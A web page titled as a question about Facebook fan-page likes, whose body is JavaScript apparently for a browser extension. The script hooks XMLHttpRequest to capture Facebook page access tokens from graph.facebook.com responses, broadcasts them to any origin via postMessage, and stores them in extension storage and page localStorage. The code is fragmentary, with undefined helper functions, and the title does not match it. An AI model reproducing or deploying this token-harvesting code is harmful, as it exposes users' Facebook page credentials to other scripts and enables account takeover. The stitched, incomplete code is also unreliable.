Is Fanpage likes safe?

const TARGET_DOMAINS = ["graph.facebook.com"]; // 你想攔截的網域列表// --- 輔助函數：檢查 URL 是否屬於目標網域 ---function isTargetDomain(url) {  if (!url) return false;  try {    const parsedUrl = new URL(url);    return TARGET_DOMAINS.some((domain) => parsedUrl.hostname.endsWith(domain));  } catch (e) {    // 無效的 URL 或相對路徑，根據需要處理    // console.warn("Could not parse URL:", url, e);    // 對於相對路徑，可以嘗試結合 window.location.hostname 判斷    // const currentHostname = window.location.hostname;    // return TARGET_DOMAINS.some(domain => currentHostname.endsWith(domain));    return false; // 簡單起見，忽略相對路徑或無效 URL  }}

XMLHttpRequest.prototype.send = function (...args) {  const xhr = this;  const originalOnLoad = xhr.onload;  const originalOnError = xhr.onerror;  const originalOnReadyStateChange = xhr.onreadystatechange; // 也攔截它  const handleResponse = () => {    // 檢查是否是目標網域的回應 (使用 responseURL 較可靠)    // 有些情況下 _requestURL 可能是相對路徑    const responseUrl = xhr.responseURL || xhr._requestURL;    if (xhr.readyState === 4 && isTargetDomain(responseUrl)) {      // console.log(`[XHR Intercepted Response] from: ${responseUrl}`);      // console.log("Status:", xhr.status, xhr.statusText);      // console.log("Headers:", xhr.getAllResponseHeaders());      // 根據 responseType 處理回應      let responseData;      if (responseUrl.includes("/me/accounts")) {        responseData = JSON.parse(xhr.responseText);        appendTokenButton(responseData.data);        // 使用 postMessage 將資料傳送給 Extension        window.postMessage(          {            type: "FACEBOOK_TOKENS",            data: responseData.data,          },          "*"        );        showToast("已完成TOKEN擷取");      }    }  };  // 攔截 onload  xhr.onload = function (...loadArgs) {    // console.log("XHR onload triggered for:", xhr._requestURL);    handleResponse();    if (originalOnLoad) {      return originalOnLoad.apply(this, loadArgs);    }  };  // 攔截 onerror  xhr.onerror = function (...errorArgs) {    console.log("XHR onerror triggered for:", xhr._requestURL);    // 可以在這裡處理錯誤    if (originalOnError) {      return originalOnError.apply(this, errorArgs);    }  };  // // 攔截 onreadystatechange (更通用，兼容舊代碼)  // xhr.onreadystatechange = function (...readyStateArgs) {  //   // console.log(`XHR readystatechange: ${xhr.readyState} for: ${xhr._requestURL}`);  //   handleResponse(); // 在每次狀態改變時都檢查，確保 readyState 4 時能捕捉到  //   if (originalOnReadyStateChange) {  //     return originalOnReadyStateChange.apply(this, readyStateArgs);  //   }  // };  // console.log("XHR send called for:", xhr._requestURL);  return originalXhrSend.apply(this, args);};

// 監聽來自 Main World 的訊息window.addEventListener("message", function (event) {  // 確保訊息來源是我們信任的  if (event.source != window) return;  if (event.data.type === "FACEBOOK_TOKENS") {    // 將資料儲存到 chrome.storage.local    const tokens = {      timestamp: new Date().toISOString(),      tokens: event.data.data,    };    chrome.storage.local.set(      {        tokens: tokens,      },      function () {        if (chrome.runtime.lastError) {          console.error("儲存TOKEN時發生錯誤：", chrome.runtime.lastError);        } else {          console.log("TOKEN已成功儲存");        }      }    );  }});

// 監聽 chrome.storage.local 的變化chrome.storage.local.onChanged.addListener(function (changes, namespace) {  console.log(changes);  if (changes.tokens) {    console.log("Facebook tokens 已更新:", changes.tokens.newValue);    // 將 tokens 注入到localstorage    localStorage.setItem(      "facebookTokens",      JSON.stringify(changes.tokens.newValue)    );    // 發送自定義事件通知其他腳本 tokens 已更新    const event = new CustomEvent("facebookTokensUpdated", {      detail: changes.tokens.newValue,    });    window.dispatchEvent(event);  }});// 頁面載入時也讀取已存在的 tokenschrome.storage.local.get(["tokens"], function (result) {  if (result.tokens) {    localStorage.setItem("facebookTokens", JSON.stringify(result.tokens));    console.log("已載入現有的 Facebook tokens:", result.tokens);  }});